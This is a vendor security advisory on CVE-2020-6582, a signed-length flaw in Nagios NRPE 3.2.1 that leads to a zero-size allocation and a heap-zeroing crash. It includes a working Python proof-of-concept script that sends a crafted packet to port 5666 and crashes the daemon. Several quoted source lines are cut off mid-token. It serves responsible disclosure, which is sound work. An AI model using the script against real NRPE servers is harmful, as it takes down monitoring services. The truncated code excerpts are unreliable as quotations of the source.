Advisory ID: usd-2020-0001
CVE Number: CVE-2020-6582
Affected Product: Nagios NRPE
Affected Version: v.3.2.1
Vulnerability Type: Memory Corruptio
Security Risk: Medium
Vendor URL: https://www.nagios.org/
Vendor Status: Fixed in v.4.0.0 (not verified)

Proof of Concept (PoC)

NRPE allows currently two different packet formats: v2 and v3. The v3 packet format is defined like this:

```
typedef struct _v3_packet {
int16_t packet_version;
int16_t packet_type;
u_int32_t crc32_value;
int16_t result_code;
int16_t alignment;
int32_t buffer_length;
char buffer[1];
} v3_packet;
```

Where the member **buffer** is only a placeholder and gets replaced with the actual payload during processing. The member **buffer_length** describes the corresponding length of the real payload buffer.

Notice that **buffer_length** is of type **int32_t**, which is a signed integer type. This allows NRPE v3 packets to contain a negative buffer length and for our POC we craft a packet with a buffer length of **-19**.

When the NRPE daemon receives a packet, the **read_packet** function is called. This function reads the first structure members and finally allocates memory for the NRPE v3 packet. The interesting part of the code looks like this:

```
// file: src/nrpe.c lines: 2039 to 2044
buffer_size = ntohl(buffer_size);
pkt_size += buffer_size;
if ((*v3_pkt = calloc(1, pkt_size)) == NULL) {
logit(LOG_ERR, "Error: (use_ssl == false): Could not allocate memory for packet");
return -1;
}
```

So the daemon fetches the **buffer_size** from our crafted packet (which is -19) and adds it to the **pkt_size**, which is previously initialized like this:

```
// file: src/nrpe.c line: 2023
int32_t pkt_size = sizeof(v3_packet) - 1; // results in: pkt_size = 19
```

Obviously, the resulting **pkt_size** is zero and lead to a call to **calloc(1, 0)**, a zero memory allocation.

A zero memory allocation is already a bad thing, since the C specification does not define a default behavior for this case and the behavior of the program becomes implementation dependent. However, most implementation will return a pointer to allocated memory of the minimal heap chunk size, which is 16 bytes for 32 bit and 32 byte for 64 bit operating systems. This is good news for NRPE, since the following actions will not lead to a heap overflow:

```
// file: src/nrpe.c line: 2046 to 2048
memcpy(*v3_pkt, v2_pkt, common_size);
(*v3_pkt)-&gt;buffer_length = htonl(buffer size);
buff_ptr = (*v3_pkt)-&gt;b
```


The **common_size** is only 10 and there which does not trigger a heap overflow. However, a

```
// file: src/nrpe.c line:
bytes_to_recv = buffer_siz
rc = recvall(sock, buff_pt
```

before fetching data over the network:

```
// file: src/utils.c line:
int recvall(int s, char *b
[...]
bzero(buf, *len);
[...]
```

The function **bzero** is called with our small allocated buffer and the length of **-19**. Also for **bzero**, the value of **-19** is converted to an unsigned integer and becomes a huge number. Therefore, **bzero** will overflow the heap and try to zero out unmapped virtual memory segments. This crashes the current thread.

The following python script can produce such a crash:

```
#!/usr/bin/env python3
import sys
import struct
import socket

HOST = '127.0.0.1'
PORT = 5666

buf = b''
buf += struct.pack("&gt;h", 3)
buf += struct.pack("&gt;h", 1)
buf += struct.pack("&gt;i", 0)
buf += struct.pack("&gt;h", 0)
buf += struct.pack("&gt;h", 0)
buf += struct.pack("&gt;I", 4294967280)
buf += b'junk'

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall(buf)
data = s.recv(1024)
```

After execution, one can check the syslog and will see the following segfault:

```
[1848.124323] nrpe[2212]: segfault at 55603f7cb000 ip 00007f4d56b8c7f7 sp 00007fff8e7af748 error 6 in libc-2.29.so[7f4d56a52000+147000]
```

Fix

The buffer_length should be transmitted as an unsigned integer. Furthermore, one needs to implement checks to prevent an inter overflow attack.

Timeline

- 2020-01-06 Tobias Neitzel found this vulnerability by manual code review of Nagios NRPE
- 2020-01-08 Initial Contact
- 2020-01-15 Nagios NRPE v4.0.0 is released: https://github.com/NagiosEnterprises/nrpe/releases/tag/nrpe-4.0.0
- 2020-03-04 Security advisory released

Credits

This security vulnerability was discovered by Tobias Neitzel of usd AG.

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security."

to usd AG

In accordance with usd AG's Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.